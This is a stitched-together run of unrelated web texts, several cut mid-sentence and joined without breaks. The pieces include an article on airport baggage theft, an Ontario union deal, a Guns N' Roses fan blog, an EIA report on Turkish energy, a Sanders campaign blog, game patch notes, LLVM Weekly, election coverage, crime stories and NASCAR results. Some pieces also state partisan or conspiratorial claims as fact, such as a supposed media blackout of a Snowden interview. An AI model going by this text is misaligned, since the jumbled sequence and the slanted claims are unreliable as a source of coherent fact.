Outsourcing has other risks. In 2009, several bag handlers working for Huntleigh, the contractor providing Delta’s baggage handling in St. Louis, were arrested and charged with stealing 900 items from passengers’ bags during a one-year period—laptops, iPods, and even cologne and cigarettes.
Statistics on baggage theft are hard to come by; the airlines don’t compile them, and if a journey involves multiple legs, it can be difficult to prove where the theft occurred. The TSA, which collects information on lost property, reports that between 7,000 and 14,000 claims are filed with the agency each year. Just how many of those missing items were stolen by screeners, versus baggage handlers, will never be known. Unless, of course, a crime ring is busted—which has happened with increased frequency in recent years. At least 32 instances of luggage-theft operations—involving both baggage handlers and TSA screeners—have been exposed at U.S. airports in the last three years. Some security experts have called for more surveillance cameras in baggage areas, but IATA’s Paul Behan says that would be impractical: “A good part of the baggage process is in a part of the airport that is physically quite complex and, in many areas, dark.” He adds: “Your bag may be traveling for several miles” in this maze, and watching it at every step along the way just isn’t feasible.
And the cameras would probably be useless anyway, according to Scott Mueller, who has spent more than 25 years running baggage operations for U.S. airlines. “Many of those cameras concealed in ceilings at airports do not work or are not monitored on a daily basis,” he says.
Baggage theft “happens far more than the traveling public knows,” Mueller says. If anything, it has gotten worse in the past decade. The arrival of the TSA, which should have heightened security throughout airports, actually created an opportunity for petty thievery, he says. “When you have the TSA and local law enforcement watching for terrorists, this takes the priority off of thieves stealing luggage from the carousel.” And in a cost-saving move, carriers have stopped checking fliers’ bag claim checks at the airport exit, meaning “anyone can walk in off the street and walk out with a bag.”
Mueller confirms that airlines see the TSA as a big part of the problem: “After the TSA took over back in 2001, my pilferage claims quadrupled,” he says. Before the TSA came into the game, passengers’ bags could be opened by another party only if a law-enforcement officer was present. His counterparts at other carriers have reported similar findings, he says, and in a 2002 meeting in Washington, D.C., they demanded that the TSA crack down on rogue employees. It is not clear what the agency has done since that time to solve the problem, but it has agreed to investigate and settle any claims that arise.
But crime rings involving bag handlers are also a serious problem. In one of the more brazen cases, a ring led by a baggage handler for American Airlines at JFK engaged in everything from drug smuggling to stealing luxury items like watches, laptops, and expensive clothing. During the trial, one of the handlers testified that “everybody did it,” according to one of the jurors. Even when a crime operation is suspected—Mueller recalls times when a spike in baggage complaints at a certain location set off an investigation—it’s still a struggle to get the local police involved. “Their priorities may not be the same as mine,” he says. Mueller, who has drawn on some of his experiences for his book, The Empty Carousel, says that his advice to fliers is simple: “Don’t pack anything you cannot afford to lose.”
Photo Courtesy Kendrick Brinson/Luceo ImagesPremier Kathleen Wynne disputed that the offer was about the upcoming election.
"My position has always been, since I've been in elected politics, has been that good working relationships with our labour partners is good for the people of the province," she said.
For many years now, the government has only been able to offer public-sector workers small increases, as it worked to eliminate a multi-billion-dollar deficit, but the budget is now balanced.
"One of the reasons that we have been able to come to this position now where we are able to balance the budget, where we are able to make investments, is that we've worked very well with our labour partners," Wynne said.
The last deal saw OPSEU workers get no raises in 2015 or 2016, a 1.4-per-cent lump sum payment in 2016 and a 1.4-per-cent raise in 2017.
The contracts are currently set to expire Dec. 31. Members are set to vote on ratification June 20-22.
Government officials invited the union to a routine meeting to discuss bargaining and the extension offer was a surprise, OPSEU said.
The correctional bargaining unit is recommending its members reject the deal, in part because of how it came about.
"It started as a secretive offer," said corrections bargaining team chair Chris Jackel. "Then there was some closed-door negotiations with the bargaining team that really was not elected...It bypassed our entire bargaining process."
Being presented with an already complete offer means the bargaining team wouldn't get the chance to look at increases to benefits, vacation entitlements or time off, Jackel said.
"We want this current bargaining team...to be able to negotiate a fulsome contract from beginning to end and not have something just given to us," he said.
In the last contract, correctional officers got the same deal as other OPSEU workers, but an arbitrator ruled their salaries had fallen behind those of their federal counterparts and police officers and awarded them additional raises totalling 4.4 per cent this year.
The negotiated deal also removed correctional workers' right to strike, sending future disputes to binding interest arbitration, like police and firefighters.
The Canadian PressGuns N' Roses Tickets
GNR Tour
GNR Concerts
GNR World Tour
Guns N' Roses Concerts
“Civil War” – Relevant Now More Than Ever
GnR’s epic anthem “Civil War”, understandably lost at times within all of the epic and legendary tracks by the band, is perhaps now more relevant than it ever was. As Axl screams out in “Coma” – “in a world our minds created, in a world that’s full of shit!!!!!” – many folks are constantly left wondering what the hell is going on in the world. Why do humans cause so much death and destruction? Why is there so much fighting when we all could be getting along?
Mass shootings, nuclear showdowns and threats, corrupt politicians to the core, pedos in the church and Washington DC, bankrupt governments looking to tax yet more of what humanity produces, racial and social inequality, and police brutality and murder of innocent victims are just a handful of the things going on that can really drag down the life of anyone. Guns laid it all out for us in “Civil War” which is a track that can help one understand what is really going on.
“The billions shift from side to side
As the wars go on with brainwashed pride”
That right there says it all. Politicians and lawyers send young men and women into useless wars to feed corporate and political greed yet the bigger problem is the brainwashed support they receive in doing so! These wars are useless, but why aren’t people standing up against them and kicking out these criminal politicians? Yes things are messed up but GnR is implying here that we also must look at ourselves and do something about it.
“Look at the hate we’re breeding
Look at the fear we’re feeding
Look at the lives we’re leading
The way we’ve always done before”
Simple, easy to understand. So simple these ideas and concepts get swept aside as we go about our daily lives. “Look at the leaders we follow” – seriously when is the last time the “leaders” worked together and achieved something meaningful and productive for humanity? Yet, so may follow them religiously almost as if they worship the aura and “power” of the establishment in Washington DC and elsewhere. We are all guilt of it either to this day or at some point in our lives.
“Look at the lies we’ve swallowed
And I don’t want to hear no more”
“I went numb when I learned to see”
That says it all right there. So many millions and millions of people have been swallowing the lies for so many years trusting that all of the status quo institutions are looking out for your best interests and trying to help you. Folks just assume the “government” and the “leaders” in society are there to help them while they remain helplessly confused and distracted by social media, the latest outrageous implants and surgeries accentuated on Instagram, and anything else that keeps them from discovering and ACCEPTING what is really going on. When people start to learn to see they just might end up going numb in a state of paralysis shocked at how much they failed to learn and understand over the years.
GnR’s epic “Civil War” takes you on that ride and helps steer you along the way..... if you are willing to do so.
"Shadow Of Your Love" - AFD Era Track Released With Other Stuff As Well
"Shadow Of Your Love" definitely has the AFD vibe to it. It's no surpise it is a cut of a track that almost made it onto AFD. it's simple, straightforward, raunchy, and catchy. The bigger question is if this GnR release is a preview of other things to come.
Slash finalzed his divorce. His ex-wife has no access to any future Slash royalties or creations. Will this clear the way for a new album?
Guns N’ Roses
Guns N’ Roses stormed back to the front of the music scene in 2016 with an earth shattering and hugely successful tour |
ara Ereglisi has an annual capacity of 280 Bcf. The Aliaga terminal is owned by EgeGaz and has an annual capacity of 210 Bcf of natural gas.22 Although Turkey is encouraging natural gas transit across Turkey via pipelines, it is discouraging LNG transit. Ukraine, Romania, and Bulgaria have all, at one time or another, proposed building LNG import facilities on their Black Sea coasts. However, the only way for an LNG tanker to reach such a facility would be through the Turkish Straits, and Turkish authorities have indicated that they would not allow LNG vessels to transit the straits for safety reasons. Additionally, the straits are already a major shipping chokepoint, especially for cargo classified as hazardous (which includes LNG, crude oil, and other petroleum liquids).
Coal
Coal, particularly lignite, is Turkey’s most abundant indigenous energy resource and is an important fuel for electricity generation.
In 2013, coal production accounted for 35% of Turkey’s total primary energy production on a Btu basis. As of the beginning of 2015, Turkey had total coal reserves of 14,160 million short tons (MMst), most of which are lignite reserves. Turkey’s lignite reserves tend to be low-quality reserves with a low heat content.23 In 2014, Turkey produced 71 MMst of total primary coal, 96% of which was lignite. Turkey also imported 30 MMst of coal in 2014, most of which was bituminous coal. Coal-fired power stations are an important source for Turkey’s electricity generation, and there is renewed interest in exploiting Turkey’s domestic coal resources. Coal-fired generation accounted for 30% of total electricity production in Turkey in 2014, including 15% each from lignite and hard coal.24 Turkey has several new coal plants under construction and more plants proposed.
Electricity
Following the restructuring of Turkey’s electricity sector, both consumption and generation of electricity have expanded. Most electricity is generated using fossil fuel sources, although the government plans to displace at least some of this generation with nuclear power.
In 2014, Turkey’s total electricity generating capacity was 70 million kilowatts, and total net electricity generation was 239 billion kilowatthours (BkWh). In 2010 and 2011, consumption of electricity grew on average by 10% per year. Consumption growth has slowed since then, with 2014 consumption of 207 BkWh, 5% higher than in 2013. Most of Turkey’s electricity generation comes from fossil fuel-fired power plants (78% of total generation in 2014), with natural gas accounting for almost half of all generation. Electricity from hydroelectric facilities also accounts for a significant share of Turkey’s total generation (17%). Although Turkey does not currently generate any electricity from nuclear power, the government has been advocating construction of nuclear power plants to diversify Turkey’s electricity supply portfolio.
Sector organization
The state-owned and vertically integrated Turkish Electricity Authority controlled generation, transmission, and distribution of electricity in Turkey prior to the electric sector reforms that began in the 1980s. Since then, the government has passed several laws that have unbundled and partially privatized the Turkish electric sector. The state-owned generation and marketing companies remain the largest providers in those sectors, although the market shares of private companies continue to grow. The state-owned Electricity Generation Company (EUAS) remains the largest electric generation company in Turkey, accounting for about 28% of the country’s electric generation as of the end of 2015.25 The remaining generation comes from independent power producers and firms given special state concessions to build and operate power plants. The wholesale electricity market in Turkey is also open to private companies; however, the state-owned Turkish Electricity Trading and Contracting Company (TETAŞ) accounted for more than 40% of the market in 2015.26 Transmission and distribution services are separate (unbundled) from generation and marketing services. The Turkish Electricity Transmission Company, a state-owned enterprise, owns and operates the transmission system. Turkey has 21 electric distribution regions, all of which are operated by private companies.
Nuclear
Turkey plans to build nuclear power plants at three sites: Akkuyu, on the Mediterranean coast; Sinop, on the Black Sea coast; and a third yet-to-be-decided location. The formal ground-breaking ceremony for the Akkuyu plant took place in April 2015 with construction expected to start by the end of 2016. In accordance with an agreement signed by Turkey and Russia in 2010, Rosatom (Russia’s state nuclear company) will build, own, and operate the Akkuyu plant. The plant will have four units with a total capacity of 4.8 gigawatt, and the first unit is expected to begin operating about 2022. Construction at Sinop for Turkey’s second nuclear power plant is planned to start in 2017. The Sinop plant will be built by a Japanese and French consortium and operated by Engie (GdF Suez changed its name to Engie in 2015). Turkish state electric generation company, EUAS, is also expected to take a stake in the power plant. The Sinop plant will have four units with a total capacity of 4.6 gigawatts. The first unit is expected to begin operating in 2023. Since November 2014, Turkey has been in exclusive negotiations with the State Nuclear Power Technology Corporation of China to build a third nuclear power plant in Turkey using reactors from the U.S. firm Westinghouse. The location of the third plant has not been decided, and construction is not expected to begin until 2019 at the earliest.27
Notes
Data presented in the text are the most recent available as of February 2, 2017.
Data are EIA estimates unless otherwise noted.
EndnotesHillary Attack Backfires
liamk Blocked Unblock Follow Following Jan 15, 2016
Posted on January 15, 2016
The more misleading attack ads that Hillary’s Super PAC runs, the more money Sanders has to refute them. In systems theory it’s called a balancing feedback loop; it blunts the effect of the ads.
In addition, the attack ads contribute to two narratives. First, they reinforce the already prevalent notion that Clinton is dishonest and untrustworthy. She currently has a 51.9% “unfavorable” rating in national polls. Second, they remind voters of one of Sanders’ central themes: the pernicious effect of money in politics. Those are reinforcing feedback loops. The more ads from Hillary that are perceived as misleading, the more “unfavorable” she becomes.
Together, these feedback loops probably mean misrepresenting the truth is a losing tactic for the Clinton campaign. She ends up looking more dishonest, calling attention to that existing narrative about her, and the Sanders campaign has more money to counter the deception she is propagating.
If you are a Sanders supporter the logic is clear. When Hillary’s super PAC runs a misleading ad:
Contribute to the Sanders campaign, even if it’s just $3. Point out the way the attack ad is misleading and post far and wide.
These are two very simple, easy to accomplish things anyone can do. If you are on the Bernie Sanders email list they even send out a donation link when these attacks occur. A few people doing this is inconsequential, but more than a million people doing these simple things is unstoppable. It’s a movement.
Now, on to the deception itself. The Clintons (Hillary and her daughter Chelsea) are attacking Sanders on his single-payer healthcare initiative. An analysis of the Chelsea statement is available at PolitiFact which rates it “mostly false.” In addition, Clinton has misstated the cost of the Sanders plan, following the logic of the debunked Wall Street Journal analysis which calculated the substantial tax increases while ignoring the even more substantial savings of not having to pay private insurance premiums.
More info about the Hillary attack here.
It will be interesting how this plays out. I think it’s going to backfire.Coming in the next update...
SNEAK PEEK #1 - New Arena!
Jungle Arena: Unlocks at 2600 Trophies (coming on Jan 13)
Unlocks at 2600 Trophies (coming on Jan 13) Videos: Check out some Jungle Arena gameplay!
Check out some Jungle Arena gameplay! Bonus info: There's a fresh new look coming to the inbox (called: "News Royale")
SNEAK PEEK #2 - Four New Cards!
Dart Goblin: Available on Jan 13
Available on Jan 13 Every two weeks: One new card will be released
One new card will be released Videos: Take a first look at the new cards!
SNEAK PEEK #3 - More Epicness!
Epic Sunday: Request and donate Epic Cards every Sunday
Request and donate Epic Cards every Sunday Shop Epics: Half price! Starting at 1,000 Gold (from 2,000 Gold)
Half price! Starting at 1,000 Gold (from 2,000 Gold) Epic Chests: Give more cards and scale with your current Arena
Give more cards and scale with your current Arena Videos: Check out the epicness!
SNEAK PEEK #4 - New Clan Chest!
Event starts on Dec 19 and lasts one week
Collect Crowns with your Clan to unlock the Clan Chest
Videos: Find out more!
SNEAK PEEK #5 - New Special Event Challenge!Samuel Adams prides itself on being a brewer for all seasons. So the Boston-based company is already rolling out a new spring beer even as locals are still coping with leftover snow drifts and an impending Arctic weather front that promises to deep-freeze their parkas and mukluks.
Fittingly perhaps, the new offering is called Samuel Adams Cold Snap, and it is specifically designed to ease “spring’s transition away from the hearty brews of winter to the bright, lighter-bodied beers of summer,’’ according to a press release from Boston Beer Co., the brewer perhaps best known for its Samuel Adams line of products.
Advertisement
The release notes that Samuel Adams Cold Snap is the company’s take on a Belgian-style white ale made with crisp golden wheat and a blend of 10 different fruits, flowers, and spices.
The release also includes comments from company founder Jim Koch, who suggests that of all the seasons, spring poses one of the sternest tests of the brew-meister’s art.
“As brewers, we’re like chefs, inspired by the weather and the seasonality of ingredients and flavors,’’ Koch said. “I’ve always said that spring is one of the most challenging seasons to brew for. It’s a tweener – we’re waiting for winter to be over and longing for summer to arrive. For us, Cold Snap captures this sentiment with its crisp wheat and vibrant fruits, flowers and spices, yielding flavors ranging from the subtle sweetness of orange peel and plum to the distinct, peppery bite of fresh ground coriander.’’LLVM Weekly - #43, Oct 27th 2014
Welcome to the forty-third issue of LLVM Weekly, a weekly newsletter (published every Monday) covering developments in LLVM, Clang, and related projects. LLVM Weekly is brought to you by Alex Bradbury. Subscribe to future issues at http://llvmweekly.org and pass it on to anyone else you think may be interested. Please send any tips or feedback to asb@asbradbury.org, or @llvmweekly or @asbradbury on Twitter.
This week it's the LLVM Developers' Meeting in San Jose. Check out the schedule. Unfortunately I won't be there, so I'm looking forward to the slides and videos going online.
News and articles from around the web
Philip Reames has written up a detailed discussion of statepoints vs gcroot for representing call safepoints. The aim is to clearly explain how the safepoint functionality provided by the patches currently up for review differ to the current gc.root support.
The Haskell community have put together a proposal for an improved LLVM backend to GHC. They intend to ship GHC with its own local LLVM build.
CoderGears have published a blog post about using Clang to get better warnings in Visual C++ projects.
There is going to be a dedicated LLVM devroom at FOSDEM 2015. Here is the call for speakers and participation.
On the mailing lists
LLVM commits
The nonnull metadata has been introduced for Load instructions. r220240.
minnum and maxnum intrinsics have been added. r220341, r220342.
The Hexagon backend gained a basic disassembler. r220393.
PassConfig gained usingDefaultRegAlloc to tell if the default register allocator is being used. r220321.
An llvm-go tool has been added. It is intended to be used to build components such as the Go frontend in-tree. r220462.
Clang commits
C compilation defaults to C11 by default, matching the behaviour of GCC 5.0. r220244.
Clang should now be better at finding Visual Studio in non-standard setups. r220226.
The Windows toolchain is now known as MSVCToolChain, to allow the addition a CrossWindowsToolChain which will use clang/libc++/lld. r220362, r220546.
Other project commitsU.S. President Barack Obama pauses during a news conference at the G20 Summit in St. Petersburg September 6, 2013. REUTERS/Kevin Lamarque
ST. PETERSBURG (Reuters) - President Barack Obama on Friday declined to speculate whether he would go ahead with a military strike in Syria if Congress votes against authorizing it, saying he would try to convince Americans and lawmakers of the need to act against the government of President Bashar al-Assad.
“I put it before Congress because I could not honestly claim that the threat posed by Assad’s use of chemical weapons on innocent civilians and women and children posed an imminent, direct threat to the United States,” Obama said in a news conference at the G20 summit in St. Petersburg.
If there had been a direct threat to the United States or allies, Obama said he would have taken action without consulting Congress.This past Sunday evening former NSA contractor Edward Snowden sat down for an interview with German television network ARD. The interview has been intentionally blocked from the US public, with virtually no major broadcast news outlets covering this story. In addition, the video has been taken down almost immediately every time it’s posted on YouTube.
In contrast, this was treated as a major political event in both print and broadcast media, in Germany, and across much of the world. In the interview, Mr. Snowden lays out a succinct case as to how these domestic surveillance programs undermine and erode human rights and democratic freedom.He states that his “breaking point” was “seeing Director of National Intelligence, James Clapper, directly lie under oath to Congress” denying the existence of a domestic spying programs while under questioning in March of last year. Mr. Snowden goes on to state that, “The public had a right to know about these programs. The public had a right to know that which the government is doing in its name, and that which the government is doing against the public.”
It seems clear that the virtual blackout of this insightful interview is yet another deliberate attempt to obfuscate the truth from the view of the American public. The media has continually attempted to shill the official government lies about mass domestic surveillance programs, justifying them as necessary to fight the “War on Terror”, while attempting to painting Mr. Snowden as a traitor.
In regards to accusations that he is a traitor or a foreign agent, he states, “ If I am traitor, who did I betray? I gave all my information to the American public, to American journalists who are reporting on American issues. If they see that as treason, I think people really need to consider who they think they’re working for. The public is supposed to be their boss, not their enemy. Beyond that as far as my personal safety, Ill never be fully safe until these systems have changed.”
The attempt to bury this interview by the government/corporate symbiosis has extremely dark implications. Additionally, the fact that government officials have openly talked about assassinating Mr. Snowden cannot be taken lightly, and Mr. Snowden obviously takes these threats to his life very seriously. Sadly, the reality of the US government assassinating an American citizen is not beyond the realm of possibility in the age we live in.
Credits: http://benswann.comBreaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Nov. 7, 2016, 1:17 PM GMT / Updated Nov. 7, 2016, 1:17 PM GMT By Chuck Todd, Mark Murray and Carrie Dann
First Read is a morning briefing from Meet the Press and the NBC Political Unit on the day's most important political stories and why they matter.
NBC’s final battleground map: Clinton 274, Trump 170
In our final battleground map of the 2016 presidential race, Hillary Clinton holds a substantial lead over Donald Trump with one day before Election Day. Clinton has 274 electoral votes in her column -- which is unchanged from last week, and which also is more than the 270 needed to win the presidency. Trump, meanwhile, is at 170 electoral votes, down from 180 last week. And we have 94 electoral votes in the Tossup column.
We made only two changes to the map: We moved Utah from Tossup to Lean GOP, and we moved Georgia from Lean GOP to Tossup. That’s it.
The more things change, the more they stay the same
The final national NBC/WSJ poll we released yesterday morning told two stories. The first: It showed a tighter horserace. Clinton’s lead over Trump is four points in the two-way contest, 44%-40%, and five points in the head-to-head matchup, 48%-43% -- which is down from 11 points and 10 points, respectively, in last month’s NBC/WSJ poll released after the “Access Hollywood” video. But here’s the second story: The numbers inside the poll are incredibly stable and consistent with what we’ve seen all year:
The two demographics to watch tomorrow night: Latinos and college-educated whites. And if you want to see even more stability, here are the final numbers from our weekly online NBC|SurveyMonkey tracking poll: Clinton 47%, Trump 41%, Johnson 6%, Stein 3% -- which is unchanged from last week.
Another Comey bombshell: FBI clears Clinton
But while the race -- structurally -- has been incredibly stable, the storylines have been anything but. And yesterday we received yet another bombshell from FBI Director James Comey. NBC News: “FBI Director James Comey said Sunday that the bureau won't change the conclusion it made in July after it examined newly revealed emails related to the Hillary Clinton probe. ‘Based on our review, we have not changed our conclusions that we expressed in July with respect to Secretary Clinton,’ Comey wrote in a letter to 16 members of Congress.” More: “A senior law enforcement official confirmed to NBC News that nearly all of the thousands of newly examined emails on [Anthony] Weiner's laptop were duplicates of emails already seen by the team investigating Clinton's server. Although some emails did forward documents previously identified as containing classified information, the review didn't change the total number of classified documents investigators found on the server.”
Trump on FBI outcome: “It’s a totally rigged system”
It’s difficult to quantify the impact that Comey’s initial letter, on Oct. 28, had on the Clinton-vs-Trump race, but it 1) certainly dominated the news environment for close to a week, 2) allowed Trump and Republicans to go on offense, and 3) forced Clinton and Democrats to play defense. But now Trump is saying that the FBI’s determination was part of a “rigged” result. “Right now, [Clinton] is being protected by a rigged system. It's a totally rigged system,” Trump said on the campaign trail yesterday. “I've been saying it for a long time. You can't review 650,000 new emails in eight days, you can’t do it, folks.” Two quick points here: One, there weren’t 650,000 Clinton-related emails; that was the number of total Weiner/Abedin emails on the computer. Two, computers certainly help to sort/verify information very quickly.
Clinton to release new two-minute TV ad speaking to camera
NBC’s Andrea Mitchell report that the Clinton campaign will release a two-minute TV ad of Clinton speaking to the camera, per a campaign official. The theme will be bringing the country together and reaching out to all voters including Trump supporters.
NBC/WSJ poll on the downballot situation
Dems hold a three-point lead on the congressional generic ballot: Yesterday’s national NBC/WSJ poll also found that Democrats were holding a three-point lead on which party likely voters preferred to Congress, 47%-44%, which is unchanged from mid-October. The poll also showed that voters, by a 51%-40%, prefer a Republican candidate who would serve to check and balance a President Clinton instead of a Democratic candidate to support her agenda.
First Read’s downballot race of the day: FL-7
Republican John Mica has been in Congress for 24 years, but recent redistricting is putting his long-held Orlando-area seat in peril. Stephanie Murphy, Vietnamese-American 38-year-old suburban mom and former Defense Department analyst, decided late in the cycle to challenge Mica after the Pulse nightclub shooting.
On the trail
Hillary Clinton campaigns in Pittsburgh, PA at noon ET, Allendale, MI at 4:00 pm ET, Philadelphia PA (with the president and first lady) at 7:30 pm ET, and finally Raleigh, NC at 11:45 pm ET… Donald Trump hits Sarasota, FL at 11:00 am ET, Raleigh at 3:00 pm ET, Scranton, PA at 5:30 pm ET, Manchester, NH at 8:00 pm ET, and Grand Rapids, MI at 11:00 pm ET… Mike Pence stumps in Minnesota, Michigan, and Pennsylvania… Tim Kaine is in North Carolina and Virginia… President Obama campaigns in Ann Arbor, MI at 11:00 am ET and in Durham, NH at 3:00 pm ET… And Vice President Joe Biden is in Florida.
Countdown to Election Day: 1 dayTwo Armed Men Attempt a Robbery But All They Get Are Some Black Eyes and Jail Time (Video)
Two wannabe robbers in Virginia learned the hard way that there are certain people you just shouldn’t try to rob.
Johnny Calderon, 19, and Gerald Allen, 18, pointed a gun at two male victims and attempted to take their stuff, but they were caught off guard when the victims turned the tables and defended themselves.
The two unidentified male victims took matters into their own hands and proceeded to brutally beat the armed robbers. Police arrived on the scene to find Calderon and Allen badly beaten, with black eyes and cuts on their faces, while the two robbery victims were unharmed.
Calderon and Allen were arrested and both charged with two counts of attempted robbery. Calderon was also charged with pointing a firearm as well as using a firearm to commit a felony.
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Police say that the wannabe robbers had to be taken to the hospital so that their injuries could be treated before they were brought to jail. While the actions of the victims are without a doubt awesome, authorities say they don’t recommend people try to take matters into their own hands in situations like this.
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undefinedThe question about the "rightness" of vigilante revenge definitely comes up after a father, an ex-South Africa rugby star, went on what looks to be a revenge killing spree, using an axe to murder three men he believes gang raped his daughter and gave her HIV. One of the victims' heads was found a mile away from his body. One of the two other men, also killed by axe, was nearly decapitated as well.
For anyone who has a daughter or a child, it seems a rightly served form of justice on men who would commit a heinous and violent crime against a young girl, especially leaving her to fight a deadly virus for life; however, this string of violence at the hands of a rage-filled father also reminds us to consider that taking the law into our own hands might not always work out how it should.
First of all, there is the matter of the gang rape, which is still alleged. It doesn't sound like anyone was picked up, arrested, or charged for the crime. Not suggesting the rape didn't happen. Not at all. If it was my kid who was raped, I'd have no problem taking her word for it. I could see many, many people immediately going after the rapists named by their own daughter.
But what if this father killed the wrong guys? What if, in an impassioned and murderous rampage, he hacked up someone he thought to be one of the rapists, and what if he was wrong? Then the story isn't so heroic anymore, is it? That's the purpose the courts and DNA tests and finger pointing in a courtroom serve. Everything else aside, you want to get the right guys. However, this is what we don't know when a person goes after people without the law behind him.
The father is due in court tomorrow, where he will face three charges of murder and one of attempted murder for a fourth alleged victim who escaped. He is accused of stalking his victims over several days before hacking them to death with an axe.
Do you think this dad did the right thing or should he have stayed on the side of the law?
EDITED on 4/1/11: More facts about this case have since been released, revealing a horrifying twist. Read our follow-up story about this man, now identified as Joseph Ntshongwana, and his crimes.
Image via AlphaTangoBravo / Adam Baker/Flickr# Content
1. Shared Bank Update
– Shared bank that all characters in an account can use is added
– Can share almost all cannot be sealed/untradable items with other characters in an account.
– Can expand slots through cash shop NX or Luriel NPC with ED.
– As an update event, until 2015 07 09, 30% discount on both ED and NX for Shared bank expansion.
– But there are separate shared banks per server. Also certain items like special crafting materials and couple&wedding related items cannot be stored in the shared bank.
2. LuCiel Revamp
1) Avatar and accessory abilities add up
– When Lu and Ciel are each wearing appropriate avatar and accessories, those stats can add up.
– Stats that add up
Avatar : Additional effects, Socket effects, Set effects / Accessory : Additional effects, Set effects
– Can meet set effect requirements by Lu wearing some parts and Ciel wearing others. But, cannot stack more than one of the same sets for effects or certain sets that give same effects.
2) Lu Ciel switching key
– Can switch character easily using [V] key during battle
– Cooldown time for [V] key is 3 seconds. When switching, character switching out cannot be hit, but the character switching in can be hit.
– Can’t be used in reststop or town. Can be used in Dungeon, Field and PvP whenever movement and attack is possible.
– Cannot acquire combination point when switching using [V] key
3. IB/FR content changes
– Look at last Patch Notes
# Event
1. Summer Break Prep event
1) Cobo’s Secrets
– Log on daily to get ‘Mystery Cube’. Can exchange items obtained from the cube for various items.
– Possible exchangable itmes : [Cobo] IB,FR, Ariel’s Magic Amulet Lv.6~Lv.9,
Cobo blessed restoration scroll…etc
– 2015 06 25 ~ 2015 07 09
2) Fight your best! NPC boss trio
– Can use special ‘[EVENT] 최고전력에 도전’ to challenge PvP NPC bosses trios.
– Only 1v1 matching is possible and stats are set level 1 stats.
– Clear NPC boss trios 3 times a day and obtain rewards.
– Reward Items : Vigor Potion, 2015 Vacation Bag Exchange ticket, 2015 Vacation Safety cube, Ariel’s Magic Amulet Lv.8~Lv.9 etc
– NPC boss trio: Noah/ Code:Q-PROTO 00 / Valak
– 2015 06 25 ~ 2015 07 09
# Cash Shop
[New]
1. Ice Burner (Ara Salvatore Denip)
– Can obtain ‘Tears of Water dragon’ item by opening and can craft the set using the item.
(Crafting for Ara Denip IB set goes on until 08/06,
Unused ‘Tears of Water Dragon’ are deleted on 08/06)
– 2015 06 25 ~ 2015 07 30
2. Summoning Stone: MobyRT chariot custom -Golden Fire
– 2015 06 25 ~ 2015 07 02
– Added to FR after
# Fixes
[Character]
1. Elsword fixed ‘Mega Slash’ skill not MP cost and cooldown effects not working properly.
2. Elemental MAster ‘Friendship with elements’ passive not working properly with special actives
3. Yama Raja ‘Enhanced Spirit energy’ not increasing range
4, Yama Raja problem where when holding ‘Vaccum Wave’ and ‘Energy Wave’ skills, the skill would cancel without consuming extra spirit orbs.
5. Diabolic Esper ’Reverse Circle’ skill speed increased.
-various other minor bug/error fixes-Kyle Busch celebrates winning Sunday's STP 500. (Photo: Michael Thomas Shroyer, USA TODAY Sports)
Correction: An earlier version of this story had a different lane for Busch's final restart.
MARTINSVILLE, Va. — Here’s a recap of all the results and action from Sunday’s STP 500 at Martinsville Speedway:
WINNER: Kyle Busch won his first race since clinching last season’s Sprint Cup Series championship at Homestead-Miami Speedway, sweeping Martinsville to up his grandfather clock trophy count from zero to two. After dominating the race, Busch has now won at every track on the circuit except for Charlotte Motor Speedway, Kansas Speedway and Pocono Raceway. Busch chose the low line on the final restart with 13 laps to go and sailed past Joe Gibbs Racing teammate Matt Kenseth. He also probably locked up a spot in the Chase for the Sprint Cup and will have a chance to defend his title.
“It certainly helps when you get to run other divisions, and that’s why I do it — to pay off on Sundays. It doesn’t work every single weekend, but it works more times than it doesn’t,” Busch said while celebrating in victory lane.
“To win here in Martinsville is pretty cool, you know. Finally get to take a clock home. A lot of people said I didn’t deserve one yesterday, and maybe I don’t. But I certainly got one today."
And as for the quick pit stops that allowed him to maintain his lead?
“That was huge, the race off pit road. My guys were flawless today. We made a few adjustments to the car throughout the day, and they kept getting me out and not even losing a spot on pit road. That was the key to the race, being able to restart on the bottom like that.”
AJ Allmendinger edged by Matt Kenseth on the restart and finished second. Kyle Larson was third. It was Allmendinger's second top 10 in a row, after finishing eighth at Auto Club Speedway two weeks ago.
“I’m trying my butt off," Allmendinger said. "I didn’t like myself last year. I didn’t like who I was, I was frustrated. I want to be better for these guys, guys that when they step up, they make me better. I’m trying to be different, but I’m not doing a lot of different stuff. They’re just building me better race cars.”
Larson had his best finish in five career Cup starts here.
“It was really fun this whole weekend to be competitive on the race track. Normally I’m very, very bad here," Larson said. "To finish top three feels like a win for me. Never would’ve thought that I’d finish top three here, and now I feel like maybe I can see a clock in my future.”
PHOTOS: In the driver's seat with Kyle Busch
DISAPPOINTMENT FOR DENNY: On lap 220, Denny Hamlin had recovered from an earlier speeding penalty and was running in fifth place when he missed his entry into Turn 1. His No. 11 car wheel-hopped and it sent the five-time Martinsville winner crashing into the wall. Hamlin went to the garage due to the damage and finished 39th. “It’s my first time ever doing it here,” Hamlin said. “It’s a little embarrassing.”
TRICKY TURN: Among the other drivers to go for a spin in Turn 1: Michael Annett (twice) and Ricky Stenhouse Jr. (contact with Regan Smith). Later, with 44 laps to go, Smith had a tire problem and ended up in the wall himself.
EARLY SPIN: Dale Earnhardt Jr. was the first car to find trouble. As he dove into Turn 1 alongside David Ragan on lap 4, Earnhardt made contact with Ragan – who was on the inside – and apparently cut his left rear tire. Earnhardt then spun out and triggered the first caution of the day; he also lost a lap in the pits while making repairs.
GRILLED: Aric Almirola was driving the STP-sponsored car in the STP-sponsored race at a track where even the hot dogs are known as “STP-style.” But his engine got fried during the first third of the race and eventually expired after 206 laps. Almirola said he had a top-15 car and lamented the lost points. “Walking out of the track now, I certainly would have taken a 15th-place finish because this is gonna put us in a pretty big hole,” he said.
Follow Gluck on Twitter @jeff_gluck
PHOTOS: 2016 Sprint Cup race winners
RESULTS
1. (7) Kyle Busch, Toyota, 500 laps, 45 points.
2. (6) AJ Allmendinger, Chevrolet, 500, 39.
3. (17) Kyle Larson, Chevrolet, 500, 38.
4. (29) Austin Dillon, Chevrolet, 500, 37.
5. (11) Brad Keselowski, Ford, 500, 36.
6. (25) Carl Edwards, Toyota, 500, 35.
7. (3) Brian Vickers, Chevrolet, 500, 34.
8. (4) Paul Menard, Chevrolet, 500, 34.
9. (24) Jimmie Johnson, Chevrolet, 500, 32.
10. (5) Ryan Newman, Chevrolet, 500, 31.
11. (1) Joey Logano, Ford, 500, 31.
12. (14) Greg Biffle, Ford, 500, 29.
13. (23) Kurt Busch, Chevrolet, 500, 28.
